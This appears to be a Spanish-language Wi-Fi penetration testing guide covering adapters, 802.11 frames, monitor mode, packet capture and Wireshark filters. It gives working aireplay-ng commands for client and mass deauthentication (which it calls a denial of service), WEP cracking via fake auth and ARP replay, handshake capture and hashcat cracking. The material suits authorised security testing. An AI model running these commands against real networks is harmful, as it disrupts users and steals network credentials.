{% endcode %}

3. Se realiza la deautenticación del cliente objetivo mientras se capturan paquetes del AP (BSSID) o red (ESSID) en cuestión.
   1. Si se conoce que solo hay un AP en la red, será interesante hacerlo solo de este o del AP más cercano a nuestra posición, esto se puede saber por la potencia de la señal.
   2. En cambio, si la red tiene múltiples AP's, será interesante realizar una captura del ESSID, con el fin de abarcar todos los AP's correspondientes a la red objetivo y tener mayor probabilidad de capturar el *handshake*.

Mientras se realiza una captura del AP o red (con el comando del punto 2), desde otra terminal se ejecuta el siguiente comando para forzar la deautenticación del cliente:

{% code overflow="wrap" %}

```bash
aireplay-ng --deauth <segundos de desconexión> -a <bssid de la red> -c <dispositivo a desconectar> <interfaz>
aireplay-ng --deauth 4 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00 wlan0 --ignore-negative-one 
```

{% endcode %}

Lo mismo, con variables:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
DEAUTH=4
BSSID=00:11:22:33:44:55
MACVICTIM=55:44:33:22:11:00
aireplay-ng --deauth $DEAUTH -a $BSSID -c $MACVICTIM $IFACE --ignore-negative-one 
```

{% endcode %}

4. Realizar la deautenticación hasta obtener un *handshake* o credenciales. Si no se consigue un resultado favorable, habrá que colocarse físicamente entre el AP y la víctima, a mayor cercanía, más probabilidades de capturar los paquetes.

### Deautenticación múltiple

Si se realiza la deautenticación anterior para múltiples usuarios, se puede causar una denegación de servicio en masa.

```bash
IFACE=wlan0
DEAUTH=10
BSSID=00:11:22:33:44:55
aireplay-ng -0 $DEAUTH -a $BSSID $IFACE
```

## Obtener nombres de redes ocultas - Hidden SSIDs

Es posible obtener el nombre de redes ocultas si se capturan paquetes de conexiones de clientes a esta red.

Por ejemplo, se identifican las redes disponibles, y posteriormente, se capturan paquetes del BSSID del que se desee obtener el nombre.

```bash
IFACE=wlan0
airodump-ng $IFACE
```

```bash
IFACE=wlan0
CH=6
BSSID=00:11:22:33:44:55
airodump-ng --bssid $BSSID --channel $CH $IFACE
```

Una vez se conecte un usuario, bien de forma trivial o por medio de forzar una nueva conexión deautenticando al usuario, se obtendrá el nombre de la red.

## <mark style="color:red;">Cracking</mark>

### Diccionarios

#### Crunch

{% code overflow="wrap" %}

```bash
crunch 16 16 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 -t @@@@@@@@@@@@@@@@ -o wordlist
```

{% endcode %}

### Hashcat

Para el cracking de contraseñas desde los pcap capturados, se puede realizar un:

* Ataque por diccionario.
* Ataque de fuerza bruta.

Para el ataque por diccionario:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 wordlist.txt
```

{% endcode %}

Para el ataque por fuerza bruta:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
hashcat -m 22000 hash.hc22000 -a 3 --increment --increment-min 8 --increment-max 12 ?d?d?d?d?d?d?d?d?d?d?d?d
```

{% endcode %}

Una vez se obtenga la contraseña, se puede visualizar con el siguiente comando:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 --show
```

{% endcode %}

## <mark style="color:red;">Resumen de ataques</mark>

* \[DoS] Denegación de servicio.&#x20;
  * Ataque de deautenticación.
  * Saturación de APs.
* \[Cracking] Fuerza bruta.
  * WEP.
  * WPA-PSK.
    * Captura de handshake (4-way).
      * Nueva conexión.
      * Deautenticación.
    * Captura de PMKID.
    * WPS pin.
  * WPA-MGT.
    * Captura de nombres de usuario.
    * Fuerza bruta para obtención de credenciales.
* \[Fake AP] AP falso.
  * Red abierta.
    * Portal cautivo y captura de credenciales.
  * WPA-PSK.
    * Captura de handshake y cracking.
  * WPA-MGT.
    * Captura de credenciales corporativas.
    * Captura de nombres de usuarios.
    * Captura y falsificación de certificados.
* \[Otros] KARMA, MANA, Loud Mana, Known beacon.
  * Red abierta.
    * Portal cautivo y captura de credenciales.
  * WPA.
    * Captura de handshake.

Para la adaptación de los ataques de acuerdo a la casuística con la que nos encontremos y la seguridad de las redes objetivo, es muy útil utilizar el siguiente mapa para determinar el flujo de ataque y llevar un mejor control de las pruebas:

<https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf>

<figure><img src="https://raw.githubusercontent.com/koutto/pi-pwnbox-rogueap/main/mindmap/WiFi-Hacking-MindMap-v1.png" alt=""><figcaption><p>Wifi Hacking Mindmap</p></figcaption></figure>

### WEP

{% content-ref url="/pages/6UIhgx48p1m1GG28ANwn" %}
[WEP](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wep)
{% endcontent-ref %}

### WPA/WPA2-PSK

{% content-ref url="/pages/XLJgW6acKdoa6n1DiTwG" %}
[WPA2-PSK / Red personal](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-psk-red-personal)
{% endcontent-ref %}

### WPA/WPA2-MGT

{% content-ref url="/pages/vAGHYIgRlryZGEsfFxUZ" %}
[WPA2-MGT / Red corporativa](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa)
{% endcontent-ref %}

### WPA3

{% content-ref url="/pages/Dj0BLYz2xikeFaISg1Jy" %}
[WPA3](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa3)
{% endcontent-ref %}

## <mark style="color:red;">Referencias</mark>

* <https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf>
* <https://github.com/ricardojoserf/wifi-pentesting-guide>


# Herramientas

Las interfaces inalámbricas son la piedra angular del pentesting Wi-Fi, permitiendo la transmisión y recepción de datos. Elegir la interfaz adecuada es crucial, ya que una interfaz débil o incompatible puede limitar las capacidades de las pruebas.

## Tarjetas de red

Mínimo 2 tarjetas de red. Con una tarjeta de red es posible realizar la pruebas, pero es mejor contar con al menos, 2 tarjetas de red, y personalmente, idealmente 3 tarjetas de red.

* Por ejemplo, para levantar un AP falso (*Fake AP*) donde capturar información y/o credenciales, y otra con la que desautenticar usuarios o realizar otras pruebas.&#x20;
* Hay muchas, por aquí te dejo mis favoritas (y las que utilizo):
  * **AWUS1900:** [https://www.amazon.es/gp/product/B01MZD7Z76/](https://www.amazon.es/gp/product/B01MZD7Z76/ref=ppx_yo_dt_b_asin_title_o06_s00?ie=UTF8\&psc=1)
  * **AWUS036ACH:** [https://www.amazon.es/gp/product/B00VEEBOPG/](https://www.amazon.es/gp/product/B00VEEBOPG/ref=ppx_yo_dt_b_asin_title_o02_s00?ie=UTF8\&psc=1)

Los desarrolladores de [**airgeddon**](https://github.com/v1s1t0r1sh3r3/airgeddon) han hecho una lista de tarjetas con un ranking según su rendimiento:

<https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Cards%20and%20Chipsets>

### Instalación de drivers

#### realtek-rtl88xxau-dkms

* AWUS036ACH: RTL8812AU
* AWUS1900: RTL8814AU

**OPCIÓN 1:**

```bash
sudo apt update
sudo apt install realtek-rtl88xxau-dkms
```

**OPCIÓN 2:**

Cuando la opción 1 falla (en algunas versiones de kali a fecha 12/11/2024, estuvo dando problemas, y a fecha de 02/06/2026 ha vuelto a ser la solución), esta es la forma de instalar los drivers sin fallo:

```bash
sudo apt update && sudo apt upgrade
sudo apt install realtek-rtl88xxau-dkms
sudo apt install -y linux-headers-$(uname -r) build-essential bc dkms git libelf-dev rfkill iw
mkdir ∼/drivers
cd ∼/drivers
git clone https://github.com/morrownr/8814au.git
sudo bash ./install-driver.sh
```

Si se obtiene un error relacionado con los linux-headers, ejecutar el siguiente comando, reiniciar y volver a ejecutar los comandos anteriores:

```bash
apt dist-upgrade
```

## Equipo de ejecución de las pruebas

Lo ideal es contar con una máquina virtual desde la que realizar las pruebas, puesto que, entre otras cosas, habrá que modificar las tarjetas de red a modo monitor, lo que requiere que se deshabiliten procesos de red que impedirán la conexión a la red en la máquina desde la que se ejecuten las pruebas.

Como sistema operativo se puede elegir cualquiera que sea unix, aunque por comodidad, se puede optar por Kali.

Como software de virtualización recomiendo optar por VMware, ya que en Vbox a veces las tarjetas de red dan problemas.&#x20;

> VMware no está exento de problemas, pero es más raro que ocurra y se soluciona de forma más sencilla, en cambio con Vbox pueden estar funcionando bien las tarjetas y de repente, haga lo que se haga, que no las vuelva a detectar hasta pasadas unas horas, se tenga que reiniciar de todo el equipo principal, etc.

### Instalación de herramientas en la VM

Hace años realicé un script que instala las herramientas más usadas en wifi, para poder preinstalarlas antes de hacer las pruebas, ya que una vez se comiencen con las pruebas en la vm, se perderá acceso a internet e instalar herramientas después se puede volver tedioso:

<https://github.com/xtormin/wifix>

### Ubicación del equipo

Gran parte de las pruebas de penetración Wi-Fi dependen de nuestra posición física. Por lo tanto, si una tarjeta es demasiado débil, nuestros esfuerzos podrían resultar insuficientes. Siempre debemos asegurarnos de que nuestra tarjeta sea lo suficientemente potente como para operar a distancias mayores y más largas. Por ello, podríamos optar por tarjetas de mayor alcance. Una forma de comprobarlo es mediante la utilidad `iwconfig`.

Además, el equipo desde el que se realice las pruebas, se debe encontrar lo más cerca posible los AP y clientes contra los que se realizarán pruebas, si no, será difícil que, por ejemplo, al levantar un AP falso, el cliente se conecte a nuestro AP, puesto que se conectará al AP más cercano.


# Conceptos generales

### Esquemas de red Wi-Fi

{% columns %}
{% column %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Fskwilr3hhwtFEQddJU90%2Fdiagrama_red_domestica.png?alt=media&amp;token=52e02b84-8ec0-40af-9cf3-bd16a3836473" alt=""><figcaption><p>Red doméstica</p></figcaption></figure>
{% endcolumn %}

{% column %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FSwMatfe6eiIQAW6s0rs8%2Fdiagrama_red_corporativa.png?alt=media&amp;token=a314897f-28d8-4435-a424-b33be4f3433b" alt=""><figcaption><p>Red corporativa</p></figcaption></figure>
{% endcolumn %}
{% endcolumns %}

### Estándar IEEE 802.11

El estándar IEEE 802.11 define cómo se empaqueta y transmite la información en redes inalámbricas. Estas unidades de datos se llaman tramas. Comprenderlas es crucial, ya que muchos ataques (como la deautenticación) se basan en crear y falsificar estas tramas para manipular la red.

Todas las comunicaciones 802.11 se basan en una estructura fundamental: la trama MAC. Esta estructura actúa como un contenedor que transporta la información necesaria para que los datos lleguen a su destino.

#### Campos de tramas MAC

Una trama MAC típica consta de los siguientes campos clave:

<table><thead><tr><th width="156.22222900390625">Campo</th><th>Descripción</th></tr></thead><tbody><tr><td>Frame Control</td><td>Contiene metadatos vitales: tipo y subtipo de trama, versión del protocolo, y flags que indican la dirección del tráfico (hacia/desde el sistema de distribución), si está fragmentado, etc.</td></tr><tr><td>Duration/ID</td><td>Indica el tiempo que el medio inalámbrico estará ocupado transmitiendo la trama y su acuse de recibo (ACK), ayudando a evitar colisiones.</td></tr><tr><td>Direcciones (1-4)</td><td>Especifican las direcciones MAC involucradas. Su significado varía según el tipo de trama, pero suelen incluir la MAC del transmisor, receptor, el BSSID del Punto de Acceso (AP), etc.</td></tr><tr><td>Sequence Control</td><td>Un número de secuencia para ordenar las tramas y detectar duplicados.</td></tr><tr><td>Data (Payload)</td><td>El contenido real que se está transmitiendo (datos del usuario, información de gestión, etc.).</td></tr><tr><td>CRC (FCS)</td><td><em>Frame Check Sequence</em>. Una suma de comprobación de 32 bits para verificar que la trama no se haya corrompido durante el viaje.</td></tr></tbody></table>

#### Tipos de tramas

Las tramas 802.11 se dividen en tres categorías principales según su función:

1. Management (Tipo 00): Son los "jefes" de la red. Gestionan la conexión, autenticación y asociación entre clientes y APs. Son nuestro principal foco en pentesting.
2. Control (Tipo 01): Son los "policías de tráfico". Ayudan a la entrega de las tramas de datos, asegurando el medio (RTS/CTS) y confirmando la recepción (ACK).
3. Data (Tipo 10): Son los "transportistas". Llevan los datos reales de las aplicaciones de los usuarios.

Para las pruebas de penetración de Wi-Fi, nos centramos principalmente en los marcos de gestión, ya que controlan la vida de la conexión. Analicemos los subtipos más relevantes y sus funciones.

*Si buscamos filtrarlos en Wireshark, especificaríamos el tipo general `00` seguido del subtipo específico.*

El punto de acceso utiliza principalmente las tramas de baliza ("faros") para comunicar su presencia. Son el "latido" de la red. Incluyen información crítica como el SSID (nombre de la red), los cifrados compatibles, los tipos de autenticación y las velocidades de datos admitidas.

Este proceso permite a los clientes descubrir puntos de acceso cercanos de forma activa.

* Probe Request: Independientemente de si una red está oculta o no, un cliente envía una solicitud de sondeo (a veces buscando un SSID específico).
* Probe Response: El punto de acceso responde con información sobre sí mismo para que el cliente pueda decidir si conectarse.

Son los primeros pasos formales para unirse a la red. El cliente envía una solicitud al AP para iniciar el proceso. Estas tramas se utilizan principalmente para identificar al cliente ante el punto de acceso (en sistemas abiertos, es un mero trámite antes de la asociación).

Tras el proceso de autenticación inicial, el cliente envía una solicitud de asociación para unirse a la red lógica. El AP responde con una respuesta de asociación indicando si el cliente puede asociarse o no. Una vez asociado, el cliente es parte de la red.

Estas son las tramas de "ruptura". Se envían para terminar la conexión entre el AP y el cliente.

* Son críticas para los pentesters: contienen un código de motivo (reason code) que indica por qué se desconecta al cliente.
* Uso ofensivo: Falsificamos estas tramas para realizar ataques de denegación de servicio (DoS) y para forzar la desconexión de clientes, obligándolos a reconectarse y así capturar el handshake de seguridad (como el WPA2 de 4 vías).

#### Ciclo de común de conexión

Ahora que hemos revisado las piezas, veamos cómo encajan. El ciclo de conexión típico (centrándonos en una autenticación WPA2 básica) sigue esta secuencia:

1. Descubrimiento pasivo/activo: El cliente escucha Beacon Frames o envía Probe Requests y recibe Probe Responses.
2. Autenticación 802.11: Intercambio de Authentication Request y Response.
3. Asociación: Intercambio de Association Request y Response.
4. Autenticación de Seguridad (Handshake): Si la red es segura (WPA/WPA2), aquí ocurre el intercambio de claves (EAPOL Handshake).
5. Conexión establecida: Transferencia de datos.
6. Terminación: Envío de Disassociation o Deauthentication.

#### Tabla del protocolo Wi-Fi IEEE 802.1 <a href="#tabla-del-protocolo-wi-fi-ieee-802.1" id="tabla-del-protocolo-wi-fi-ieee-802.1"></a>

| Protocolo / Banda  | Frecuencia  | Ancho del canal     |
| ------------------ | ----------- | ------------------- |
| 802.11ax           | 2,4 o 5 GHz | 20, 40, 80, 160 MHz |
| 802.11ac wave2     | 5 GHz       | 20, 40, 80, 160 MHz |
| 802.11ac wave1     | 5 GHz       | 20, 40, 80 MHz      |
| 802.11n            | 2,4 o 5 GHz | 20, 40 MHz          |
| 802.11g            | 2,4 GHz     | 20 MHz              |
| 802.11a            | 5 GHz       | 20 MHz              |
| 802.11b            | 2,4 GHz     | 20 MHz              |
| Tradicional 802.11 | 2,4 GHz     | 20 MHz              |

#### Seguridad en redes inalámbricas <a href="#seguridad-en-redes-inalambricas" id="seguridad-en-redes-inalambricas"></a>

Las redes inalámbricas pueden contar con diferentes tipos de seguridad, ante los cuales, variarán los ataques a realizar.

* WPS.
* WEP.&#x20;
* WPA.
* WPA2/WPA3 Personal.
* WPA2/WPA3 Enterprise.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FRwMtemADNzvQaXaI66Tz%2Fredes.png?alt=media&amp;token=f3beea3a-45e9-43a6-85e5-ff0009f1f960" alt=""><figcaption></figcaption></figure>


# Comandos esenciales

## General

Para mostrar información sobre las interfaces de red y wifi:

```bash
ip a
ip link show
iwconfig
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FRkYXSOXDIuey0MHreKSj%2FPasted%20image%2020220817140352.png?alt=media&amp;token=81633c29-ef24-4b28-beb2-308f10c8d0f0" alt=""><figcaption></figcaption></figure>

## Cambio del modo de la interfaz

### Modo monitor

{% hint style="warning" %}
Para la gran mayoría de las pruebas, es **necesario tener la interfaz de red en modo monitor** y para ello será necesario **utilizar una tarjeta wifi compatible** con ello.
{% endhint %}

El modo monitor permite **capturar paquetes**, de esta forma, es posible obtener información de los puntos de acceso y clientes conectados, entre otros detalles.

{% hint style="warning" %}
Para realizar la captura de paquetes, es necesario cambiar la interfaz a modo *monitor* (o modo promiscu&#x6F;*)*. Por defecto, se suele encontrar en modo *managed*.
{% endhint %}

Para cambiar el modo de una interfaz, por ejemplo, la **wlan0** a **modo monitor**, se realizarán las siguientes acciones:

1. Tomar como variable **IFACE** el nombre de la interfaz de red que se quiera modificar. (ej: wlan0)
2. Deshabilitar la interfaz de red.
3. Cerrar (mata 🔪🔪🔪) los procesos de red (sí, te vas a quedar sin internet 🕯️ asegurate de haber instalado antes las herramientas que necesitarás).
4. Cambiar la interfaz a modo *monitor*.
5. Habilitar la interfaz de red.
6. Mostar información de las interfaces de red inalámbricas.

{% hint style="info" %}
Por ejemplo, si las redes o SSIDs se encuentran en bandas de 2,4Ghz o 5Ghz, deberemos modificar la configuración de nuestra tarjeta para que trabaje con esa banda y canales correspondientes.
{% endhint %}

A continuación, se detallan los comandos de acuerdo a las bandas con las que se desee trabajar:

**2,4Ghz**

{% tabs %}
{% tab title="ip" %}

```bash
IFACE=wlan0
ip link set $IFACE down
airmon-ng check kill
iw $IFACE set monitor none
iw dev $IFACE set txpower fixed 3000
ip link set $IFACE up
iw dev
```

{% endtab %}

{% tab title="ifconfig" %}

```bash
IFACE=wlan0
ifconfig $IFACE down
airmon-ng check kill
iwconfig $IFACE mode monitor
ifconfig $IFACE up
iwconfig
```

{% endtab %}
{% endtabs %}

**5Ghz**

{% tabs %}
{% tab title="ip" %}

```bash
IFACE=wlan0
ip link set $IFACE down
airmon-ng check kill
iw $IFACE set monitor none
iw dev $IFACE set txpower fixed 3000
iw dev $IFACE set freq 5180
ip link set $IFACE up
iw dev
```

{% endtab %}

{% tab title="ifconfig" %}

```bash
IFACE=wlan0
CH=108
ifconfig $IFACE down
airmon-ng check kill
iwconfig $IFACE mode monitor
iwconfig $IFACE channel $CH
ifconfig $IFACE up
iwconfig
```

{% endtab %}
{% endtabs %}

### Modo managed

{% tabs %}
{% tab title="ip" %}

```bash
IFACE=wlan0
ip link set $IFACE down
iw $IFACE set type managed
ip link set $IFACE up
iw dev
```

{% endtab %}

{% tab title="ifconfig" %}

```bash
IFACE=wlan0
service network-manager start
ifconfig $IFACE down
iwconfig $IFACE mode managed
ifconfig $IFACE up
iwconfig
```

{% endtab %}
{% endtabs %}

## Cambio de MAC por la del AP objetivo

Aunque es algo opcional, se recomienda hacerlo:

{% code overflow="wrap" %}

```bash
IFACE="wlan0"
systemctl stop network-manager
ip link set $IFACE down
macchanger -m <BSSID del AP objetivo> $IFACE
ip link set $IFACE up
```

{% endcode %}


# Captura de paquetes

### Captura básica

Se capturan paquetes utilizando la interfaz de red en cuestión (IFACE) y se guarda la información en un fichero **pcap** que luego se podrá abrir con **wireshark**.

{% code overflow="wrap" %}

```bash
IFACE=wlan0
PCAP="captura_$(date +%Y%m%d_%H%M%S)"
airodump-ng $IFACE --write "$PCAP"
```

{% endcode %}

{% hint style="info" %}
&#x20;Si el nombre del pcap ya existe, se crea un fichero con el mismo nombre seguido de una numeración ascendente, evitando sobreescribir capturas que hayamos realizado anteriormente.
{% endhint %}

### Captura en una banda en concreto

* Banda `a`:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
BAND=a
airodump-ng --band $BAND $IFACE
```

{% endcode %}

* Bandas `a`, `b` y `g`:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
BAND=abg
airodump-ng --band $BAND $IFACE
```

{% endcode %}

### Captura de un ESSID en concreto

Es posible capturar paquetes de un ESSID en concreto haciendo uso de expresiones regulares, esto permitirá focalizar la captura de paquetes en los SSID que tengamos dentro del alcance y guardar la información en un fichero **pcap** que luego se podrá abrir con **wireshark**.

{% code overflow="wrap" %}

```bash
IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX
```

{% endcode %}

{% hint style="info" %}
Por ejemplo, el comando anterior, realizará una captura utilizando la interfaz **wlan0** de todas aquellas redes cuyo SSID coincida con la expresión regular indicada (**WIFI\_WTF, WIFI\_OMG, etc.**) y guardará la información en un fichero llamado **captura**.
{% endhint %}

### Captura de un BSSID en concreto

Tras realizar una primera captura básica donde se pueden observar las redes que se encuentran alrededor, se identifica el/los BSSID (MAC) de la red objetivo y el canal, para realizar una captura solo de información de dicha red (para capturar solo lo que nos interesa y omitir redes fuera del alcance).

Por ejemplo:

{% code overflow="wrap" %}

```bash
airodump-ng --bssid <MAC del router> --channel <canal en el que se emite> --write <fichero pcap> <interfaz>
airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write output wlan0
```

{% endcode %}

Lo mismo, pero con variables:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>IFACE=wlan0
</strong>BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE
</code></pre>

### Shorcuts de teclado útiles

#### Ordenación por columnas

Mientras se captura con airodump, si se pulsa la `s` se puede cambiar el orden de los elementos, por ejemplo, para ordenar por número de paquetes, por potencia, por canal, por encriptación, por cifrado, etc.

Mi recomendación general es hacerlo por número de paquetes, dado que cuanto mayor número de paquetes, más interacción hay con los AP en cuestión.

#### Copiar datos de la captura de forma sencilla

Mientras se captura, no es posible copiar datos, por ejemplo, si necesitamos copiar un BSSID o ESSID en concreto, pero si se pausa, sí. Por lo tanto, si pulsamos en la `barra de espacio`, se puede pausar, copiar lo que deseemos y volver a pulsar en la `barra de espacio` para reanudar.

#### Colorear AP y sus clientes conectados

Mientras se captura con airodump es posible pulsar en `tab` para entrar en el modo edición, esto permite que podamos subir y bajar con las flechas hasta quedarnos en el AP que nos interesa y pulsar la letra `m` para colorearlo, existen múltiples colores, así que se pulsará la `m` hasta tener el color que se desee. Esto hará que tanto el AP como sus clientes se coloreen del color que nos interese y será más fácil realizar ciertos ataques, como los de deautenticación.

Si se quiere salir del modo edición se volverá a pulsar `tab`.


# Análisis de paquetes

## Wireshark

### Filtros

Tras capturar tráfico en modo monitor, podemos usar estos filtros de visualización en Wireshark:

#### Beacon Frames (AP)

Las tramas Beacon (baliza) provenientes del punto de acceso se pueden identificar usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 8)
```

#### Probe Request (Cliente)

Las tramas de solicitud de sondeo (Probe Request) provenientes del cliente se pueden identificar usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 4)
```

#### Probe Response (AP)

Las tramas de respuesta de sondeo (Probe Response) provenientes del punto de acceso se pueden identificar usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 5)
```

#### Autenticación

El proceso de autenticación entre el cliente y el punto de acceso se puede observar usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 11)
```

#### Association Request (Cliente)

Una vez completado el proceso de autenticación, la solicitud de asociación de la estación (cliente) se puede ver usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 0)
```

#### Association Response (AP)

La respuesta de asociación del punto de acceso se puede ver usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 1)
```

#### WPA2 Handshake (EAPOL)

Si la red de ejemplo utiliza WPA2, las tramas EAPOL (el handshake) se pueden ver usando el siguiente filtro de Wireshark:

```
eapol
```

#### Desconexión (Deauth/Disassoc)

Una vez que el proceso de conexión se ha completado, la terminación de la conexión se puede visualizar identificando qué parte (cliente o punto de acceso) inició la desconexión. Esto se puede hacer usando el siguiente filtro de Wireshark para capturar tramas de Disociación (10) o tramas de Desautenticación (12):

```bash
(wlan.fc.type == 0) && ((wlan.fc.type_subtype == 12) || (wlan.fc.type_subtype == 10))
```

#### Nombres de identidades

```
eap
```

#### Certificados

{% code overflow="wrap" %}

```
tls.handshake.certificate
```

{% endcode %}

### Fusionar múltiples ficheros PCAP

`mergecap` combina todos los archivos y **ordena los paquetes cronológicamente** de forma automática basándose en sus marcas de tiempo (timestamps).

```bash
mergecap -w fusionado.pcap *.pcap
```

Si prefieres no usar la terminal:

1. Abre Wireshark.
2. Abre el primer archivo PCAP.
3. Ve al menú superior y selecciona **File > Merge** (Archivo > Combinar).
4. Selecciona el segundo archivo que quieres añadir. Wireshark te preguntará si quieres unirlo cronológicamente, al principio o al final del archivo actual.

Si tienes gigabytes de capturas, fusionarlas primero puede generar un archivo gigante muy difícil de abrir en la interfaz de Wireshark. En este caso, es mejor filtrar los archivos individualmente antes de unirlos. Para ello se utiliza **`tshark`** (el motor de Wireshark para la terminal).

```bash
FILTRO="eap"
for file in *.pcap; do
  tshark -r "$file" -Y "$FILTRO" -w "filtrado_$file"
done
```

```bash
mergecap -w identidades_todas.pcap filtrado_*.pcap
```

### Búsqueda

```bash
for file in *.pcap; do
  echo "--- Archivo: $file ---"
  tshark -r "$file" -Y "eap.identity" -T fields -e eap.identity | sort -u
done
```

## Wifi DB

<https://github.com/r4ulcl/wifi_db>

```
```


# Ataques Wi-Fi


# WEP

WEP aka. Wired Equivalent Privacy.

Autenticación vía clave compartida:

1. La estación cliente envía una petición de autenticación al Punto de Acceso.
2. El punto de acceso envía de vuelta un reto en texto claro.
3. El cliente tiene que cifrar el texto modelo usando la clave WEP ya configurada, y reenviarlo al Punto de Acceso en otra petición de autenticación.
4. El Punto de Acceso descifra el texto codificado y lo compara con el texto modelo que había enviado. Dependiendo del éxito de esta comparación, el Punto de Acceso envía una confirmación o una denegación. Después de la autenticación y la asociación, WEP puede ser usado para cifrar los paquetes de datos.

Cada paquete envía un keystream único que se compone de un vector de iniciación aleatorio dentro de un rango de 24 bits y la clave WEP.

`Keystream = Vector de iniciación + clave WEP`

Los vectores de iniciación se envían en texto plano, por lo que se capturan varios de ellos con el objetivo de realizar un [**ataque estadístico**](https://lasecwww.epfl.ch/abstracts/abstract_wep.shtml).

* Resumen de ataques: <http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html>

Ataque FMS, KoreK, PTW, chopchop.

## Ataque activo

Se capturan paquetes, por ejemplo, 5000 paquetes de datos. Y posteriormente se realiza un ataque estadístico con todos los vectores de iniciación de los paquetes capturados.

```bash
airodump-ng --bssid 00:11:22:33:44:55 --channel 11 --write WEP-Packages wlan0
```

Se realiza el ataque con los paquetes capturados. Se repite la ejecución del comando de aircrack hasta obtener los vectores de iniciación suficientes para obtener la clave WEP.

```bash
aircrack-ng WEP-Packages-01.cap
```

Se obtendrán dos cadenas, por un lado, un código en hexadecimal, y por otro lado, la clave en texto plano. Es posible utilizar la cadena en hexadecimal como clave, si se elimina el caracter `:`.

## Ataque pasivo

Aka. **Ataque ARP-Replay**

Se capturan paquetes con airodump-ng:

{% code overflow="wrap" %}

```bash
airodump-ng --bssid 00:11:22:33:44:55 --channel 11 --write WEP-Packages
```

{% endcode %}

Se realiza un ataque de deautenticación

{% code overflow="wrap" %}

```bash
aireplay-ng --fakeauth 0 -a <bssid del router> -h <mac de nuestro dispositivo> <interfaz>
aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 55:44:33:22:11:00 wlan0
```

{% endcode %}

Se inyectan paquetes ARP:

```bash
aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 55:44:33:22:11:00 wlan0
```

Se realiza el ataque con los paquetes capturados:

```bash
aircrack-ng WEP-Packages-01.cap
```


# WPA2-PSK / Red personal

En las redes personales cuando se realiza la autenticación contra el punto de acceso, el cliente envía 4 paquetes para realizar la conexión contra el punto de acceso.

Estos paquetes pueden ser capturados y posteriormente realizar un proceso de *cracking* para obtener la contraseña. Si la contraseña es débil, se encuentra en los diccionarios utilizados para el ataque o se realiza un ataque de fuerza bruta con la suficiente capacidad de cómputo, sería posible obtener la contraseña de acceso a la red.

Para poder capturar los paquetes de conexión, sería necesario que el dispositivo utilizado para las pruebas se encuentre lo más cercano posible al cliente/dispositivo víctima y punto de acceso más cercano, de forma que podamos interceptarlos "al vuelo" cuando se realice la conexión.

Esto se puede realizar en varias condiciones:

* Sin deautenticación:
  * El cliente/dispositivo acaba de encenderse y se quiere conectar.
  * El cliente/dispositivo acaba de entrar al espacio físico donde nos encontramos con la máquina virtual a la escucha.
* Con deautenticación:
  * Obligando a deautenticarse al cliente/dispositivo objetivo de forma que se fuerce un intento de conexión automático tras la desconexión.

Los dos primeros casos no son invasivos, ya que simplemente se capturaría el intento de conexión inicial al conectarse el dispositivo.&#x20;

En el tercer caso sería invasivo ya que se forzaría la desconexión del dispositivo. No obstante, sería un tiempo de desconexión ínfimo que sería casi transparente al usuario víctima, similar a cuando se pierde la conexión de forma legítima durante "un segundo".

## <mark style="color:red;">Captura de handshake / 4-way handshake</mark>

{% hint style="info" %}
Consiste en capturar los paquetes enviados durante el handshake para posteriormente intentar crackear la contraseña.
{% endhint %}

Según las casuísticas y la cercanía del AP, se pude realizar de dos formas:

* Con el AP legítimo.
* Sin AP legítimo.&#x20;

Antes de nada habrá que identificar la MAC y canal de los APs objetivo. Para ello se realiza una captura básica de paquetes:

```bash
airodump-ng --write capture wlan0
```

Lo ideal será capturar paquetes de los APs que cuenten con mayor cantidad de clientes conectados, para ello se puede observar por ejemplo la cantidad de datos enviados, lo que indicará un mayor uso de la red.

### Sin deautenticación

